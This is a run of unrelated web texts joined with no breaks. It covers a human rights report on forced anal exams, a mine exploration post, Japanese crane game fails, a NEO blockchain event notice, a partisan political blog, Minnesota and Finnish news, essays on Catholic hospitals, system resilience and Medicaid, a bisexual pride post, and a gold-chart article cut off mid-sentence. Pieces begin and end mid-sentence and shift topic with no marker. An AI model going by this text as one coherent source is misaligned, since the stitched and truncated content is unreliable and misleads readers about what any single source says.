Lesbian Human Rights Commission, the men filed a petition with the High Court of Kenya in Mombasa, challenging the constitutionality of forced anal examinations, and HIV and hepatitis tests. On June 16, 2016, the court ruled against them, claiming that the petitioners had consented to the exams, although the men said they had signed consent forms under duress. In Turkmenistan, which has one of the most closed and repressive governments in the world, Human Rights Watch was not able to conduct research, but we were able to interview one individual now living in exile who says he was subjected to a forced anal examination in Turkmenistan in 2013. We also spoke with an exiled civil society activist who confirmed that such examinations are used to obtain “evidence” in sodomy cases. The man subjected to the examination reported that he was convicted in a mass trial with some 20 other men, most or all of whom were also subjected to anal exams, the results of which were used in securing convictions in court. He alleged that this was a common practice, and further investigation is warranted. In Lebanon, authorities often used forced anal examinations against men arrested on homosexuality-related charges until 2012, when Lebanese activists mounted a campaign labeling the exams “Tests of Shame.” They successfully mobilized media and public opinion in opposition to the exams, leading the Lebanese Order of Physicians and then the Ministry of Justice to issue guidelines prohibiting the use of forced anal exams. Activists’ historic victory in enlisting government institutions in opposition to anal exams, and the rights-respecting actions taken by the Order of Physicians and the Ministry of Justice, should serve as a model for other states in which forced anal exams are currently practiced. However, the victory is only partial: Human Rights Watch found that some investigative judges in Lebanon are still asking doctors to conduct anal examinations and that some doctors are still doing so. Police also persist in using other forms of torture and ill-treatment against men accused of homosexuality in Lebanon. No matter the circumstances or rationale, forced anal examinations in cases of consensual same-sex conduct are a human rights violation. They do not serve legitimate government interests, and they lack evidentiary value. As such, law enforcement officials should never order the examinations; doctors and medical personnel should not conduct them; and courts should not admit them into evidence. Human Rights Watch also believes that all states should decriminalize consensual sex between adults of the same sex. The criminalization of consensual same-sex conduct violates the right to privacy and the right to non-discrimination, guaranteed under the International Covenant on Civil and Political Rights, and under many states’ constitutions. Until such laws are overturned, all states should improve respect for the rights of persons accused of homosexual conduct by banning forced anal testing. It is time for states to restore basic rights and dignity to men and transgender women accused of homosexual conduct, and to recognize that the prohibition on torture and cruel, inhuman, and degrading treatment extends to everyone, regardless of their sexual orientation or gender identity. READ FULL REPORT HERE Source: Forced Anal Examinations in Homosexuality Prosecutions \| HRW RELATED STORIESToday we are going to visit an abandoned mine that is, according to the legend, -880 meters deep. The mine has not been functioning for a couple of years and is conserved meaning that all the exits and entrances are blocked. Who knows maybe there is not enough air inside… This is an entrance filled with concrete. So, if you want to get in, you will need a flame cutter. After the access was obtained it became clear that the hole is at least 200 meters deep. The descent can be long and boring. At great depth humidity is very high. To avoid a shower of ground waters one needs a costume of chemical protection. The abandoned system is somehow connected to the acting one preventing the area from flooding. The mine is in a very bad condition. The floor can fall down any time.There’s nothing quite like the joy of pumping shiny coins into a “UFO Catcher” machine or crane game and getting a fuzzy toy in return. As long as you can figure out the machine’s “sweet spot”, you’re almost guaranteed a prize. But in Japan, where crane games feature a wide variety of prizes including anime figures and snacks, the game designers have been coming up with sneaky ways to trick you into feeding in even more coins in pursuit of a reward. Check out these epic crane game fails… When this Twitter user decided to film what was supposed to be the triumphant retrieval of a tub of chewing gum, they probably weren’t expecting their prize to slip out of their clutches in quite this dramatic a manner… Luckily, they seemed to see the funny side, but others aren’t quite so impressed! Check out this gallery of fails! ▼ In this game, anti-slip material is used to prevent prizes sliding towards the goal. ▼ Er, how are you supposed to fit those long boxes through the slot, anyway? ▼ Darn! ▼ Those arms are weaker than a newborn baby’s! Noooo! ▼ So close! ▼ WHYYYYY Being no stranger to the lure of a fluffy character myself, I recently wasted about 500 yen trying to get a cuddly toy from a UFO catcher machine, only to be outwitted at the final hurdle by a particularly inventive bit of trickery. On my fifth try, I managed to pick up and drop the fuzzy critter right into the retrieval slot – only, it didn’t drop, and instead seemed to be suspended in mid-air as if by magic. That’s when I noticed the webbing of almost-invisible floss-like plastic strands criss-crossed over the top of the slot. Aaaargh! We guess that with so many people out there regularly visiting arcades and honing their skills on the UFO catchers, the machine creators have had to seriously step up their game to outsmart them. Unfortunately, that means the rest of us average coin-gamblers wind up wasting our money for nothing when outfoxed by the machines’ evil tricks. Source: Jin115 Main Image: Twitter @S____2405区块链新地标：NEO全球开发者社区建设 New Blockchain Landmark: NEO Global Developer Community Building 相信技术的力量。区块链技术作为一种新兴技术，对多个领域的产业形态有很强的重构潜力，所以区块链技术在全球受到了广泛关注，众多区块链技术爱好者与开发者选择加入区块链技术社区，用行动支持自己看好的有潜力的区块链项目。 Trust the power of technology. Blockchain, an emerging technology potentially capable of reconstructing quite a few industries, is attracting global attention. Countless blockchain technophiles and developers choose to join blockchain technology communities in solid support of what they believe to be promising blockchain projects. 本期“区块链新地标”活动的主题是“NEO全球开发者社区建设”，NEO理事会秘书长陶荣祺、NEO开发者社区COZ发起人Fabio Cesar Canesin、NEO社区高级研发经理Malcolm孟柯、Red Pulse联合创始人赵显理 (Stanley Chao)，将给大家带来精彩分享，一起聊聊区块链技术社区应该如何构建，以及参与全球开发者社区建设的幕后故事。 The topic of "New Blockchain Landmark" this time is "NEO Global Developer Community Building". Tony Tao - Secretary General of NEO Council, Fabio Cesar Canesin - Founder of NEO Developer Community CoZ, Malcolm - Senior R&D Manager of NEO Community and Stanley Chao - Co-founder of Red Pulse will all join the event to share with us their insights on global developer community construction and several behind-the-scenes. 区块链新地标 New Blockchain Landmark “区块链新地标”由NEO与INNOSPACE+创业社区共同发起，为开发者与区块链创业者创造技术交流与学习的机会。我们希望来参与的小伙伴在这里可以当面向大咖请教，了解优秀和富有创意的区块链项目，结识合作伙伴。同时，还能通过学习与研究，共同探索区块链技术在多个领域的创新与跨越。 "New Blockchain Landmark", an event jointly held by NEO and INNOSPACE+ inspires communication and learning among developers and blockchain start-ups. We hope that the event will encourage participants to seek advice from big shots, learn about excellent and creative blockchain projects and build new ties. We also expect it to be a learning and research opportunity that you may seize in exploration of innovative and cross-disciplinary application of blockchain technology. 活动时间：下午14：00—17：30 活动地点：上海市杨浦区政学路77号INNOSPACE+一楼IPOCLUB 活动人数：100+ 14:00 - 17:30 Oct. 9, 2017 IPOCLUB, F1, INNOSPACE+, No. 77, Zhengxue Road, Yangpu District, Shanghai Max. 100 participants 活动报名请点击“阅读原文”！！！ Sign up for the event，please click“read the original text”. 活动议程 Agenda 14:00-14:30: 签到 Sign in 14:30-15:10: NEO理事会秘书长陶荣祺演讲分享 Speech by Tony Tao, Secreatary General of NEO Council 15:10-15:50: NEO开发者社区COZ发起人 Fabio Cesar Canesin 演讲分享 Speech by Fabio Cesar Canesin, Founder of COZ, a NEO Developer Community 15:50-16:00: 茶歇 Break 16:00-16:30：Red Pulse 联合创始人赵显理 (Stanley Chao) 演讲分享 Speech by Stanley Chao, Co-founder of Red Pulse 16:30-17:00：NEO社区高级研发经理Malcolm孟柯演讲分享 Speech by Malcolm, Senior R&D Manager of NEO Council 17:00-17:30：Q&A环节 Q&A session 备注：部分嘉宾用英文演讲 Some of the guests will use English for presentation. 嘉宾介绍 Guest profiles 陶荣祺 NEO理事会秘书长，阿里50人微金融论坛专家，腾讯腾云智库专家，《区块链新经济蓝图与导读》和《区块链从数字货币到信用社会》编写者之一。专注于比特币以及区块链的经济解释。投资方面，曾参投Ethereum、Factom、小蚁、Lisk、Elastic等多个数字资产ICO，并结合投资经验以及区块链研究，负责NEO整体战略策划。 Tony Tao Secretary General of NEO Council, member of Ali Microfinance Expertise Group and Tencent Tengyun Think Tank, co-writer of Blockchain: Blueprint for a New Economy and Blockchain Technology--From Digital Currency to Credit Society; specializes in economic interpretations of Bitcoin and blockchain. He has participated in Ethereum, Factom, Antshares (NEO), Lisk, Elastic and other digital asset ICOs and applied his investment experience and research results on blockchain to overall strategic planning of NEO. Fabio Cesar Canesin I'm a researcher and developer working at multinational locations on numerical methods applications in geomechanics, petrophysics, inversion and optimization techniques. Products range from decision making recommendations to native plugins and HPC solutions. 赵显理 (Stanley Chao) Red Pulse 联合创始人，数据科学主管 • 11年的投资管理和金融服务经验 • 应用数学和计算机科学教育背景 • 2015至今：Red Pulse，联合创始人，数据科学主管 •2013至2015年：Racing Capital，定量交易者，金融衍生品&期货 • 2012至2013年：Golden Corps，金融分析师 • 2009至2011年：ATA基金，管理总裁 • 2004至2008年：Pacific West证券，调查分析师 • 2012年：华盛顿大学金融工程证书 • 2002年：华盛顿大学应用与计算数学科学 • CFA持证人 • CAIA持证人 Stanley Chao Co-founder of Red Pulse, Head of Digital Science • 11 years' experience in investment management and financial service • Educational background in applied mathematics and computer science • 2015 - now: Co-founder of Red Pulse, Head of Digital Science • 2013 - 2015: a quantitative trader on financial derivatives & futures at Racing Capital • 2012 - 2013: a financial analyst of Golden Corps • 2009 - 2011: Managing Director of ATA • 2004 - 2008: a research analyst of Pacific West • 2012: obtained certificate on financial engineering from Washington University • 2002 - earned a bachelor's degree in Applied Mathematics and Computation from Washington University • CFA charter holder • CAIA charter holder Malcolm 孟柯 NEO 区块链社区高级研发经理双硕士（国际工业工程与管理、计算机科学与工程），长期从事软件开发与软件项目管理，曾就职于埃森哲、Webpower等国际知名企业。擅长模拟和建模、算法开发、经济建模、找到复杂问题的简单解决方案。职业生涯中长期担任Java软件工程师、分布式软件开发经理、研发经理等重要职位。在项目的开发、管理及实施方面具有丰富的实战经验。 Malcolm Senior R&D Manager of NEO Blockchain Community As a double master's degree holder (International Industrial Engineering and Management, Computer Science and Engineering), he has long been engaged in software development and software project management. He once worked for world-renowned enterprises such as Accenture and Webpower as Java software engineer, distributed software development manager and R&D manager with a good mastery of simulation and modeling, algorithm development, economic modeling and managing distributed teams. 主办方 Organizer 联合主办方 Co-organizer 合作报名平台 Cooperative Sign-up Platform 合作直播平台 Cooperative Live PlatformAs the Hill writes: Capitol Police stopped Joshua Bowman, 28, of Falls Church, Va., at approximately 8 p.m. on Wednesday night several blocks away from the Capitol as he made a "failed attempt to gain access to [a Capitol] barricade," a spokeswoman said. After consenting to an administrative search of his vehicle, a shotgun in its case with ammunition was found in the vehicle’s trunk.... While the arrest was made by Capitol Police officers, the department was working in conjunction with U.S. Secret Service on Wednesday night as members of the White House and nearly the full body of Congress attended Obama’s speech. Okay, let's review: --We've had people carry guns to Obama events in the month of August. --We've had people hold signs with Obama as Hitler in the past few weeks. --We've had idioticians Sarah Palin and Newt Gingrich accuse Obama of "death panels." --We've had Glenn Beck agree that Osama Bin Laden is the only way to save America from Obama. --We've had Glenn Beck call the President a racist. --We've had the right wing in this country get up in arms over a speech to school children on Tuesday (in which the school children acted like adults, and the adults in the Republican party acted like children.) --We've had a member of the South Carolina legislature, Rep. Joe Wilson, shout out at a joint address to Congress that the President lies. --We've had Lindsey Graham say that Obama is disrespecting the office of the presidency. --We now have Sarah Palin, today, saying that Obama was a meanie for saying that the death panel claim was a lie. --Now we learn that someone was trying to access Capitol grounds with a shotgun and ammunition at a time when the President of the United States was giving a joint session speech to Congress. Huh? I'm missing something? Who's disrespectful? I could ask my 8 year old that question, and he could give the right answer. Republicans in the US? Not so much. Mr. President, you can't negotiate with these pricks. Change is difficult, but it's what you were elected on. Now, get to it. We'll have your back. Update 1: Here are some ways to have the President's back. Check out this diary from Populista that has 5 action items to do TODAY. I've done most of these. Can you join in? Donate to Rob Miller at his Act Blue page. Let's get more progressives in the House, as well as those with more civility. It feels good to give to someone who wants to oust that jerk. Update 2: The rec list! Wow! I'm in awe...thanks, everyone!Gov. Mark Dayton said Thursday he'll veto a bill to overturn municipal wage and benefit ordinances if it reaches his desk. The so-called preemption legislation would bar Minnesota cities from setting their own paid sick leave requirements, minimum wages and other rules on private employers. That's been a hot-button issue, particularly in Minneapolis, where advocates have been pushing the city to set a new $15-an-hour minimum wage, higher than the state's standard. The House and Senate passed slightly different versions, and a joint committee to merge the plans hasn't met since being appointed in late April. Dayton had previously resisted pledging a veto while making his concerns known. On Thursday, he said a standalone preemption bill would get vetoed as would a wide-ranging budget bill that includes it, barring something unforeseen. "I think it's bad policy to take over the decision-making authority of local governments, which is usually a Republican doctrine, and to lock in a minimum wage of $9.50, which is $19,000 a year," said Dayton, noting that's "$5,000 below the federal poverty level for a family of four." It was the DFL governor's most definitive comment yet on the controversial issue pitting local control versus concerns of the businesses about uneven standards statewide. Dayton has been under pressure from labor unions, community groups and local officials to stop a top business priority for the session. It's not clear what would happen if the provision ended up embedded in a larger two-year budget bill that came out to Dayton's liking. Said the governor: "I'll do everything I can to keep it out of what the final agreement is."Image: Mårten Lampén / Yle Close checks by customs officials at the Helsinki-Vantaa airport have revealed some 100 forged passports and other identity documents entering the country in letters and parcels. The documents have been bound for asylum seeker reception centres and private individuals. "One in four identity documents entering the country has borne signs of falsification," said Kari Kettunen, head of the Border Guard’s anti-crime unit. "Every week we come across counterfeits. We’ve detained some people and booked them for criminal liability. But it’s clear that the vast majority of people coming into Finland are seeking asylum on credible grounds," Kettunen pointed out. Customs: Some individuals want to conceal their identity People fleeing conflict need identity documents from their home countries to register as asylum seekers and many have arrived in Finland without such documentation. As a result the quantity of personal documents sent to Finland has exploded in recent weeks
created as part of the campaign, DearEverybody.ca, includes tips for parents to ensure their kids have inclusive friendships. There are also tips for teachers, and tips for anyone who wants to help change the stigmas that those with disabilities. “Check out the tips that are there,” advises Hanigsberg. “Think about yourself, as a parent, as an employer. Find out ways to make change.”Is it appropriate that Catholic health care institutions want to be full participants in the U.S. health care system, while retaining the right not to provide contraception—a part of health care that nearly all sexually active adults use? The U.S. Conference of Catholic Bishops say yes, in a recent statement calling for the rescission of the “contraceptive mandate” provision in the Patient Protection and Affordable Care Act. And in this recent piece at First Things, Christopher T. Haley likewise warns that the religious exemption is too narrow to accommodate faithful Catholic health care. The Patient Protection and Affordable Care Act, he says, would create a “Catholic ghetto.” Currently, Catholic health care institutions are indispensable in the United States, comprising 20% of U.S. hospitals. Those hospitals, in turn, receive large amounts of public funding. Catholic hospitals are so well-integrated, in fact, that they’ve merged with non-Catholic health care systems… to the point that it can take some sorting out to distinguish a Catholic hospital from a secular one. On the face of it, the fact that we’re even having this conversation—about a religious prohibition which only a tiny percentage of adults in the U.S. adhere to—should be a sign that Catholic health care is a big player, yes? Well, it turns out there’s quite the backstory there. Haley’s use of the phrase “Catholic ghetto” is not cheap hyperbole, if you consider the history of Catholics in the United States. The US Catholic hospital system grew up in the eighteenth, nineteenth, and twentieth centuries; largely under the care of women’s religious orders, and largely to serve the poor. (Read about a few of the women who helped build Catholic health care.) The surrounding cultural landscape could be profoundly, hatefully anti-Catholic. Catholics found their rituals the subject of ridicule. They were suspected of being un-American, loyal to the Pope, incapable of liberty. At times Catholics were prevented from holding public office. In the mid-nineteenth century, while the number of Catholic hospitals was growing, the Know Nothing party organized around shared fears that Catholic immigrants from Ireland and Germany were overwhelming the country and acting against white Protestant interests. So the fear of a Catholic ghetto must be understood in light of a real history of Catholics being marginalized during the very time that their health care institutions were taking root. However, the landscape of Catholic health care has changed. Catholic hospital systems are well established and fully integrated into healthcare delivery in the U.S. In fact, the Catholic Church manages a full 1/5 of all U.S. hospitals, according to The Revealer. Those hospitals are 50% funded by public funds. These Catholic hospitals are increasingly overseen not by women religious, but by laypeople trained in hospital administration. Indeed, the very success of the Catholic health care system, and the degree to which it has been fully integrated into the wider US health care system, has itself stirred a worry about a loss of authentic Catholic identity in Catholic hospitals. And what’s one thing that has come to be seen in some quarters as especially emblematic of authentic Catholic identity? Say it with me, class: No artificial contraception! Most Protestant church bodies in the United States have come to approve of contraception under some circumstances. The Roman Catholic Church has not. I mean, not officially. If you are inclined to think of the Catholic Church as the church which has stayed faithful while other schismatic sects have veered from the truth, that will likely strike you as significant. Some of the guardians of Catholic identity think it would be a great idea for the patients to sort this out in advance, and simply not go to Catholic hospitals if they can’t stomach Catholic teaching. (Perhaps those patients just haven’t heard the marvelous news that pregnancy is not a disease!) When a friend of mine posted the link Haley’s piece on Facebook, within a few comments someone asked the question: What’s to stop someone from just choosing a different hospital, if they have such a problem with the kind of care that a Catholic hospital can provide? The question was sincere, but good grief, the phrase “having it both ways” comes to mind. What’s to stop a hypothetical patient from picking the option they like best, from among several convenient locations near their home? Well, gosh, where to begin? Possibly their employer health coverage? The place where they live? The fact that sometimes – such as in emergency situations — you can’t exercise consumer choice? (Obviously I’m talking more broadly than contraception here, but I think it’s important to remember that the needs of a critically ill patient have been known to conflict with a healthcare provider’s principles.) With all due respect, putting the onus on the patient, as if patients enjoy such a range of choice in their healthcare providers, seems at least as unrealistic a prospect as convincing nearly all sexually-active adults in the U.S. that they shouldn’t use contraception. No, this problem will be something for Catholic institutions themselves to sort out. Catholic hospitals may have to negotiate a new compromise between integration into a wider system where it’s possible to do a lot of good; and sincere fidelity to a healthcare practice that very few of their constituents believe, adhere to, or think is good for them. Indeed, such negotiations have already been taking place locally, when hospital mergers press the issue. With the Affordable Care Act mandating coverage of contraception, it’s playing out nationally. But that’s rather different from ghettoization, isn’t it? You’re put into a ghetto under compulsion. If you uncompromisingly believe something that almost nobody else believes, that’s not ghettoization, it’s just the reality of holding a tiny minority opinion. Michael Peroutka didn’t miss out on the presidency because his supporters were ghettoized. He lost because a whole lot of people wanted someone else to be president instead of Peroutka. And having a minority opinion can be, you know, fine! I’ve been told I hold many such opinions myself. But it’s a little bit disingenuous to then say, “What’s this? My uncompromising belief in something almost nobody else believes or comprehends, has somehow resulted in my being met with widespread disagreement or incomprehension! Whoever could have seen that coming? Please rectify this immediately, kthx.”Nothing has the potential to ruin a product or even an organization more than software instability. Most of us get excited by focusing on developing new features or services and we neglect the operation thereof. Agile methodologies mostly focus on product development. In large organisations with hundreds of systems this is not enough. You need more than just a methodology achieve resilience. Mike Murphy is undoubtedly an expert when it comes to resilience. An expert for me is someone who has the scars of years of sleepless nights and ruined weekends because of a system being down AND and who has the theoretical background on the subject matter. Mike is such a person In this first part of three articles we will focus on the causes of system instability. In others he will cover the Engineering and Operational practices that can improve system resilience. Over to Mike. System Resilience The objective of this post is to leave the reader with a clear understanding of what causes system instability. Resilience can be described as the ability of a system to maintain certain functions, processes, or populations after experiencing a disturbance, an unexpected change in usage patterns or sudden increase in volumes, etc. In the context of IT this can be translated to mean the ability of the system to keep processing business transactions during and after a failure of any component (e.g., server, network component failure, etc.). An important concept related to resilience is stability. Stability refers to the disturbances a system faces. If there are few disturbances or small disturbances, then the system is relatively stable. If there are many disturbances or large disturbances, then the system is relatively unstable. It’s natural to think that a resilient system would be one with more stability. However, this is not always the case. Sometimes, some instability can help increase resilience. This occurs when the disturbances increase the system’s ability to respond to further disturbances (a topic covered later in the paper). In this age of digital disruption resilient systems are a “ticket to the game” and it is by no coincidence that IT security and IT resilience remain top of the strategic agenda. The effective execution of both require continued focus on the “long term” and success will only be achieved once both are tightly woven into the fabric of IT. Factors affecting system stability There are numerous factors in the systems development life cycle, ranging in scope from design through to production support, that can have a material impact on the resilience and stability of IT systems. It is beyond the brief of this post to provide a finite list of these factors so the focus will be on those proved to have had the most significant impact on the resilience and stability of systems in large organisations. Complexity French poet Antoine de Saint Exupery wrote “perfection is finally attained not when there is no longer more to add, but when there is no longer anything to take away.” This principle is also applied to the design and construction of software. Software simplicity is a prerequisite to reliability. The more complex a system, the more difficult it is to build a mental model of the system, and the harder it becomes to operate and debug it. At a base level every new line of code that is added to a system has to be debugged, read & understood, and supported. Software development should always be a last resort, because of the cost and complexity of building and maintaining software. Contrary to popular belief, this does not restrict innovation but rather keeps the environment uncluttered of distractions so that focus remains squarely on innovation. Software should behave predictably and accomplish its goals without too many surprises (that is, outages in production). The number of surprises directly correlates with the amount of unnecessary complexity found in the system. Given the size and complexity of the software estate that develops over decades it is likely that surprises caused by complexity will remain the single biggest threat to systems stability for the foreseeable future. Simplifying the estate is not an insurmountable task but will take a concerted effort over the long term. Manual, human-centric processes As IT systems grow exponentially, non-automated, manual systems increasingly are becoming a major business liability. Today’s systems are simply becoming too big and complex to run completely manually, and working without automation is largely unsustainable. Many manual operations are prone to error, offer slow response times and devour costly man-hours. This hampers the overall efficiency and effectiveness of IT operations. Human error is the single biggest contributor to system failure so relying on humans to execute tasks that can and should be automated is not a sustainable strategy. Manually developing and deploying software to production is archaic at best viz., manual code analysis allows technical issues to accumulate; manual testing often misses regressions; manual infrastructure management introduces anomalies in environment configuration, and manual deployments introduce risks. A dramatic example of downtime caused by lack of automation is the case of Knight Capital Group, which famously lost $460 million in 45 minutes of trading due to a failed update that had been manually made to 8-year- old software. Had Knight automated its deployments, fully re-deployed servers periodically using automated tools, or removed old unused code from its codebase more aggressively, a technician’s failure to deploy code to the eighth server in a cluster would not have had such disastrous results. Human error remains the single biggest contributing factor to systems instability at a large organisation. Inadequate telemetry, monitoring and alerting Monitoring is the practice of observing systems and determining if they’re healthy, Systems monitoring should address two questions: what’s broken and why? The idea is to implement monitoring in such a way as to maximize signal and minimize noise. Without effective monitoring in place the only way of knowing whether a system's performance has degraded or whether the system is no longer operational would be via occasional operator checks or alerts raised by customers / users. The latency between the failure and the alert in both cases would almost always result in a delay in mean time to repair (MTTR). Monitoring and alerting don’t lead to systems stability but, if implemented effectively, reduce the impact of a system failure by alerting operators as soon as abnormal events are detected. “If a human operator needs to touch your system during normal operations, you have a bug. The definition of normal changes as your system grows.” Carla Geisser, Google Monitoring a complex application is a significant engineering endeavor in and of itself. In a multilayered system, one person’s symptom is another person’s cause. Therefore, monitoring is sometimes symptom-oriented, and sometimes cause-oriented. System behavior changes over time and monitoring thresholds have to be continually fine tuned to ensure an optimal signal to noise ratio. When a system generates too many “false positives” operators eventually start ignoring alerts and in so doing raise the risk of critical failures / performance degradation being missed. Telemetry is the process of gathering information generated by instrumentation and logging systems. This information is used to discover trends, gain insights into usage and performance, and to detect and isolate faults. Telemetry is not only used to monitor performance and to obtain early warning of problems, but also to isolate issues that arise, detect the nature of faults and perform root cause analysis. In order for telemetry to be effective, instrumentation needs to be written into the application i.e., software engineers need to ensure that they build routines into the application that generate information about how the system is performing. Regrettably, many older (legacy) applications (of which the Bank has many) are not written with telemetry in mind and as a result understanding why the application is performing sub-optimally requires some element of heuristic deduction. Using predictive analytics it is possible to pre-empt systems failure and react before failure occurs. Predictive analytics uses many techniques from data mining, statistics, modeling, machine learning, and artificial intelligence to analyze current data to make predictions about future. Inadequate focus on non-functional requirements In systems engineering a non-functional requirement is a requirement that specifies criteria that can be used to judge the operation of a system, rather than specific behaviors. Broadly, functional requirements define what a system is supposed to do and non-functional requirements (also known as quality requirements) define how a system is supposed to be. Non-functional requirements typically include things such as availability requirements (must the application be available 24×7, 24×5, etc?); backup and recovery requirements; performance requirements (e.g., how many concurrent users should the system cater for); scalability requirements; security requirements, etc. In an effort to get new features out to customers / users, product owners may compromise the non-functional requirements of a system leaving it fragile and vulnerable to failure. It is therefore important that non-functional requirements are adequately contemplated at design time and engineered into the system from the onset. Retrospectively adding non-functional requirements to a system can be costly. Also, as a system evolves over time the non-functional requirements need to be constantly revised to ensure that the system continues to meet performance, availability and security expectations. Unfortunately this does not always occur and it is common to see systems degrade as more and more features are added and the usage profiles of the systems change. Bibliography While this is not an exhaustive list, there are a number of sources that have been drawn on for inspiration in the compilation of this and the subsequent posts. Some of the content has been used verbatim, some quoted and others used simply to frame and argument or position. Books Online Papers & Blogs How Complex Systems fail. Richard I. Cook MD Continuous software engineering: A roadmap and agenda. Brian Fitzgerald, Klaas-Jan Stol Infrastructure As Code, The Missing Element In The I&O Agenda. Robert Stroud #NoProjects. Shane Hastie Put developers On The Front Lines Of app support. Kurt Bittner, Eveline oehrlich, Christopher Mines and Dominique Whittaker Agile Manifesto KitchenSoap (Johan Allspaw) Martin Fowler Systems Blindness: The Illusion of Understanding (Daniel Goleman) This was a guest post by Mike Murphy. Mike is the Chief Technology Officer of the Standard Bank Group. You can also listen to a podcast featuring Mike by clicking here.Having lots of uninsured people makes it harder to control infectious diseases. Uninsured people are much less likely to go to doctors when they’re sick. And if sick people avoid doctors, their illnesses remain undetected and untreated, endangering not only themselves but also those they encounter. For example, early detection and treatment of HIV infection greatly reduces the probability that an HIV+ person will spread the infection. Why should Medicaid be tied to paid employment when other programs are not? People who have never worked can get Medicare if their spouse qualifies. When a homeowner takes a mortgage interest deduction on a tax return, he or she doesn’t have to prove that they’ve been looking for a job. Work requirements will deny health insurance to people who work outside the labor market. The Kaiser Foundation surveyed adults who could gain Medicaid under the expansion. They asked those who were not working why they weren’t working. This chart shows the answers. Notice that 29 percent did not work because they were caring for family or others. Some of these people will be parents at home caring for children. As Elizabeth Stoker Bruenig has pointed out, Ann Romney was celebrated when she asserted that being at home and raising her children counted as work. Is "working at home" a status that only rich women get to claim? Others will be at home caring for an elderly or disabled family member, as home health care or a decent assisted living facility are too expensive for Medicaid-eligible people. For many families, a severe family illness requires at least one potential earner to leave the labor market. But a Medicaid work requirement means that if you leave your job to care for your relative, you give up your own health insurance. Shouldn’t that unpaid labor at least come with a health benefit? If a health aide works in your home, that counts as work. Why shouldn’t it count if you do it? Finally, denying people medical care because they are not in the labor force is morally questionable. Let’s recognize that many supporters of work requirements believe it’s a moral issue—that the non-working poor are undeserving of this benefit. Many otherwise good-hearted Americans hold this view, but few non-Americans agree. The only developed countries that do not provide universal health care are some fragments of the former Yugoslavia, Belarus, and the United States. Elsewhere, people hold the view that respect for human dignity requires that everyone have access to a decent minimum of care. It is particularly hard to understand how Christian governors would view a work requirement as moral. There are more than 40 episodes of healing in the Gospels, comprising about one-third of the text. Jesus heals anyone who asks, and it should go without saying that he never asks whether the petitioner is working. As John Paul II wrote in the encyclical Sollicitudo Rei Socialis (The Social Concerns of the Church), we must "embrace the immense multitudes of the hungry, the needy, the homeless, those without medical care and, above all, those without hope of a better future. It is impossible not to take account of the existence of these realities. To ignore them would mean becoming like the 'rich man' who pretended not to know the beggar Lazarus lying at his gate."Dr. James Marion experimented on slaves until he was satisfied that his techniques were safe. Results 1 to 2 of 2... Visitor Tips and News About Monument to the Father of Gynecology Reports and tips from RoadsideAmerica.com visitors and Roadside America mobile tipsters. Some tips may not be verified. Submit your own tip. The monument to Dr. James Marion Simms is a life-size bust of the doctor set in the corner of the capital grounds. In front of Simms is larger-than-life bronze statue of Benjamin Tillman. He was a governor of South Carolina and apparently was very outspoken proponent of lynching minorities. So on the South Carolina Capital grounds there is a statue of George Washington (who owned slaves), a monument to Dr. Marion (who conducted medical research on slaves), a statue of Benjamin Tillman (who lobbied for lynching slaves), and a statue of Strom Thurmond (who opposed every Civil Rights and desegregation law that came before him). To even it out, there is a really cool Civil Rights memorial on the grounds, a copper relief on both sides of a monolith.It’s bisexual pride day today! Let’s celebrate by addressing some fuckin’ biphobia. In the past few months, I’ve been realizing that a lot of my attitudes towards bisexual people are pretty fucking shitty. Yeah, I know – I am bisexual, and I roll my eyes when other people hit me with the “it’s just a phase” or “but how far have you actually been with a girl?” bullshit. But for some reason, I started to notice that little bubbling well inside me that was offering up these horrible thoughts about bisexual people that I would have been less than pleased to hear off someone else: I’d look at a bi woman coming out, and some foul part of me would roll her eyes at it being done for attention. I started to refer to myself as “basically straight” because I’d been in a relationship with a man for so long. I found myself internally invalidating myself and other people with biphobic nonsense that I couldn’t seem to get out of my head, and it was really fucking with me – I’ve been loud-mouthed about calling out shitty bisexual stereotypes in the media and in real life, but when it came to inside my own head, it was a free-for-all of cruelness and stereotypical stupidity directed at myself and other bisexual people in general. And I know I’m not the only non-monosexual person who feels that way. But why? I guess, being a bi person in a relationship with a member of the opposite sex, that I was pretty quick to play down my sexuality because I passed as straight. In the real world and on this blog, I really didn’t want to be seen as impinging on queer spaces, so I would hold my hands up and back away from The Gay Shit for fear of coming across like a straight person trying to wear gayness as a fashion statement. The media and most people have a really specific view of what bisexual people are – greedy, lying, or slutty, mostly – and when you’re told from every angle that you’re not valid, that you don’t exist, of course you’re going to internalize those attitudes. You’re going to back away from queer spaces, not feel at home in straight spaces, and try to fucking avoid the subject because the thought of having another debate with someone about whether having gone down on a girl makes you gay enough is just too nightmarishly exhausting. I know, because I’ve been there – these attitudes to bisexual people leave us feeling as though we don’t have a place we can be ourselves without judgement or disclaimer, and without a place to positively interact with other bi people, we’re left mainly with the mountains of negative shit that the media and society at large heaps on us for daring to be attracted to more than one gender. We as a society use stories to impart our morals and values, and when the only stories about bisexual people that make it into the mainstream are ones that say we don’t exist, or we’re attention whores, or desperate or promiscuous or greedy or lying or stupid or careless or just a bunch of damn fools who haven’t made their minds up yet, that is what bisexual people take on. And this is not without consequence. Bisexual people are six times as likely as gay and lesbian people to be closeted. Bisexual women are twice as likely to be abused, and three times as likely to be raped. Bisexual people are prone to higher rates of self-harm, depression, anxiety, and suicide linked to their sexuality compared to other members of the LGBTQ community. Honestly, a lot of us aren’t doing great. And why should any of that come as a surprise? We’re telling bisexual people that they should think really fucking terrible things about themselves, and we take that on, because there are so few positive role models and spaces for people attracted to more than one gender to validate themselves. We’re too gay for the straights and too straight for the gays, with the Pride march in London scrambling to include bi people last-minute after a backlash against their non-involvement. We’re consistently forgotten in LGBTQ spaces (the National LGBTQ Task Force, lest we forget, published an article on Bisexual Pride day a few years ago encouraging bi people to stop using the bisexual label), and we don’t fit in straight ones. We’re stuck between communities, leading to the erasure of bisexual people, as those around us just assume we’re straight or gay based on who we’re with at the time. And so the vicious cycle that makes sure that bi-positive spaces and communities are a secondary concern continues – and that leads to a whole new group of bi people with no positive or even neutral messages about their sexuality to internalize biphobia and end up miserable because of it. I can’t sit here and pretend to offer any answers because what we need is a tide change from the world around us to switch up the narratives we build around bisexual people. It’s bisexual pride day today, and I just want to let any other bisexual, pansexual, and non-monosexual people in general know that you’re valid, you exist, and that you deserve a place to be yourself without fear of scorn or general assholery. If you like my work, please consider supporting me on Patreon! AdvertisementsThis article will compare gold's current C-wave development with gold's great parabola that concluded on January 21, 1980, as well as examine the historic relationship of gold with gold mining stocks using both theand the ^HUI ).Then we will conclude with some charts of miners that appear to have not only explosive future earnings, but also explosive future price appreciation.The upper portion of this chart is the great 1977-1980 gold parabola that blew up on January 21, 